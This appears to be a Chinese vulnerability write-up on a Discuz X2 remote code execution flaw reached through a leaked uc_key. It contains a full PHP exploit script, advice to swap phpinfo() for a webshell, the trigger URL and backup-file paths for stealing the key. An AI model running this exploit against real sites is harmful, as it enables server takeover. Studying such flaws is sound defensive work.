来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html
先通过uc_key把恶意代码保存在/uc_client/data/cache/badwords.php,然后利用preg_replace() 进行任意代码执行。
先附上来源中的脚本。修改了一些代码。
<?php $timestamp = time()+10*3600; $host="ip地址"; $agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0"); $uc_key="网站的uc_key"; $code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="0"> <item id="findpattern">/(.*)/e</item> <item id="replacement">phpinfo();</item> </item> </root>'; $html1 = send($cmd1); echo $html1; function send($cmd){ global $host,$code; $message = "POST /Discuz_X2/api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
整个poc应该要修改的地方有四处:
$host,$uc_key,<item id="replacement">phpinfo();</item>, $message = "POST /Discuz_X2/api/uc.php?code=".$code." HTTP/1.1\r\n";
第一处是网站的地址:填ip或者域名都行,第二个是获取到的uc_key,一般都是管理员才能看到,第三个就是phpinfo(); ,修改成一句话的脚本,第四个就是网站的目录,可能放在二级目录下。
看了下poc,就是构造一个code和xml数据,然后发送到/api/uc.php,跟一下这个php文件
$code = @$_GET['code']; parse_str(authcode($code, 'DECODE', UC_KEY), $get);
可以看到对$code进行解密,并且用parse_str()函数把参数解析注册成变量。
$post = xml_unserialize(file_get_contents('php://input'));
读取post的内容,并用xml_unserialize()解析内容
看到这里,$action=updatebadwords,下面还有个段代码echo $uc_note->$get['action']($get, $post); ,执行了updatebadwords()函数,上面有if判断了$get['action']的值,所以不能造成代码执行。
function updatebadwords($get, $post) { global $_G; if(!API_UPDATEBADWORDS) { return API_RETURN_FORBIDDEN; } $data = array(); if(is_array($post)) { foreach($post as $k => $v) { $data['findpattern'][$k] = $v['findpattern']; $data['replace'][$k] = $v['replacement']; } } $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php'; $fp = fopen($cachefile, 'w'); $s = "<?php\r\n"; $s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n"; fwrite($fp, $s); fclose($fp);
循环出post的数据,并把findpattern replacement两个的值赋给$data,然后写入/uc_client/data/cache/badwords.php文件
把数据存进去了,那要把数据取出来才行,来看看哪里可以取。
根据文章的内容,触发点是:/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd
根据discuz的mvc框架,调用了/source/module/forum/forum_ajax.php
if($_G['gp_action'] == 'checkusername') { $username = trim($_G['gp_username']); $usernamelen = dstrlen($username); if($usernamelen < 3) { showmessage('profile_username_tooshort', '', array(), array('handle' => false)); } elseif($usernamelen > 15) { showmessage('profile_username_toolong', '', array(), array('handle' => false)); } loaducenter(); $ucresult = uc_user_checkname($username);
调用了uc_user_checkname()函数
function uc_user_checkname($username) { return call_user_func(UC_API_FUNC, 'user', 'check_username', array('username'=>$username)); }
UC_API_FUNC默认是调用uc_api_mysql
define('UC_API_FUNC', UC_CONNECT == 'mysql' ? 'uc_api_mysql' : 'uc_api_post');
所以调用了uc_api_mysql('user', 'check_username', array('username'=>$username))
function uc_api_mysql($model, $action, $args=array()) { global $uc_controls; if(empty($uc_controls[$model])) { include_once UC_ROOT.'./lib/db.class.php'; include_once UC_ROOT.'./model/base.php'; include_once UC_ROOT."./control/$model.php"; eval("\$uc_controls['$model'] = new {$model}control();"); } if($action{0} != '_') { $args = uc_addslashes($args, 1, TRUE); $action = 'on'.$action; $uc_controls[$model]->input = $args; return $uc_controls[$model]->$action($args); } else { return ''; } }
可以看到$action重组成oncheck_username,并调用oncheck_username()
跟进oncheck_username()函数, 位于/uc_client/control/user.php 调用了_check_username()函数。
function _check_username($username) { $username = addslashes(trim(stripslashes($username))); if(!$_ENV['user']->check_username($username)) { return UC_USER_CHECK_USERNAME_FAILED; } elseif(!$_ENV['user']->check_usernamecensor($username)) { return UC_USER_USERNAME_BADWORD; } elseif($_ENV['user']->check_usernameexists($username)) { return UC_USER_USERNAME_EXISTS; } return 1; }
跟到check_usernamecensor() 函数中
function check_usernamecensor($username) { $_CACHE['badwords'] = $this->base->cache('badwords'); $censorusername = $this->base->get_setting('censorusername'); $censorusername = $censorusername['censorusername']; $censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i'; $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username; if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) { return FALSE; } else { return TRUE; } }
获取badwords的内容,并且把他存入数组$_CACHE['badwords']
然后有这么一句:@preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username)
刚好就是我们第一步修改的地方,也就是我们可控的,所以造成了代码执行。
运行poc后在访问如下页面,就能执行代码了。
/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd
要小心uc_key的泄露,有这么几种方式,
/config/config_ucenter.php.bak
/uc_server/data/cache/apps.php.bak
还有就是管理员弱口令登录到后台拿到uc_key。